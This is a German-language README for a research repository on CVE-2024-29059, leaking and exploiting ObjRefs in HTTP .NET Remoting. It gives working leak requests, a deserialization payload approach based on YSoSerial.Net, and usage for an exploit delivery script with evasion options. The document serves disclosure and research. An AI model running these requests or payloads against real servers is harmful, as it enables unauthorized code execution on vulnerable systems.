
Zusätzliche Ressourcen zum Leaken und Ausnutzen von ObjRefs via HTTP .NET Remoting (CVE-2024-29059)
ObjRefs über HTTP .NET Remoting (CVE-2024-29059)Dieses Repository enthält weitere Details und Ressourcen zum CODE WHITE Blogpost gleichen Namens Leaking ObjRefs to Exploit HTTP .NET Remoting:
ObjRef-LeaksTypeFilterLevel.Low-Einschränkungen funktionierenDas Folgende basiert auf Configure Application Insights for your ASP.NET website von Microsoft und beschreibt, wie man mit Visual Studio 2019 (erforderlich, um .NET Framework 4.5.2 zu targetieren, Sie können es noch herunterladen unter https://aka.ms/vs/16/release/vs_community.exe) und Microsoft Application Insights eine angreifbare ASP.NET-Webanwendung erstellt:
Wenn die .NET Framework-Updates vom Januar 2024 installiert sind, öffnen Sie die Web.config-Datei und fügen Sie Folgendes unter /configuration/appSettings hinzu, um das angreifbare Verhalten wieder zu aktivieren:
<add key="microsoft:Remoting:LateHttpHeaderParsing" value="true" />
Sie können die Webanwendung dann über Debuggen > Ohne Debuggen starten oder durch Drücken von Strg+F5 ausführen.
ObjRef-LeaksSie können die folgenden Anfragen verwenden, um ObjRefs von MarshalByRefObject-Instanzen, die im LogicalCallContext gespeichert sind, zu leaken:
BinaryServerFormatterSink:
GET /RemoteApplicationMetadata.rem?wsdl HTTP/1.0
__RequestVerb: POST
Content-Type: application/octet-stream
SoapServerFormatterSink:
GET /RemoteApplicationMetadata.rem?wsdl HTTP/1.0
__RequestVerb: POST
Content-Type: text/xml
Geleakte ObjRef-URIs können dann mit dem folgenden Regex abgeglichen werden:
/[0-9a-f_]+/[0-9A-Za-z_+]+_\d+\.rem
Wir haben zwei einfache Deserialisierungs-Payloads basierend auf dem TextFormattingRunProperties-Gadget von YSoSerial.Net mit benutzerdefinierten XAML-Payloads erstellt, die unter den durch TypeFilterLevel.Low verursachten Einschränkungen funktionieren, um Folgendes durchzuführen:
HttpContext.Current.Response.AddHeader("Set-Cookie", "x=ad92afb4-00c3-4479-bab8-2425b5716081")HttpContext.Current.Response.RedirectLocation = "/ad92afb4-00c3-4479-bab8-2425b5716081"Die HTTP-Header können in der Antwort des Servers auf die HTTP .NET Remoting-Anfrage beobachtet werden.
Das Skript RemoteApplicationMetadata.py bietet eine Möglichkeit, bestehende ObjRefs zu leaken und diese dann in einer nachfolgenden Anfrage zu verwenden, um einen gegebenen Payload auszuliefern:
usage: RemoteApplicationMetadata.py [-h] [-c] [--chunk-range CHUNK_RANGE] [-e] [-f {binary,soap}] [-u] [-v] url [file]
positional arguments:
url target URL (without `RemoteApplicationMetadata.rem`)
file BinaryFormatter/SoapFormatter payload file (default: stdin)
options:
-h, --help show this help message and exit
-c, --chunked use chunked Transfer-Encoding for request
--chunk-range CHUNK_RANGE
range to pick the chunk size from randomly, e. g., 1-10
-e, --encoding apply a random non ASCII-based encoding on SOAP
-f {binary,soap}, --format {binary,soap}
targeted runtime serializer format (default: soap)
-u, --use-generic-uri
use the generic `RemoteApplicationMetadata.rem` also for the payload delivery request
-v, --verbose print verbose info
Beispiel:
./RemoteApplicationMetadata.py -f binary https://127.0.0.1:44365 AddHeader.bin -u -v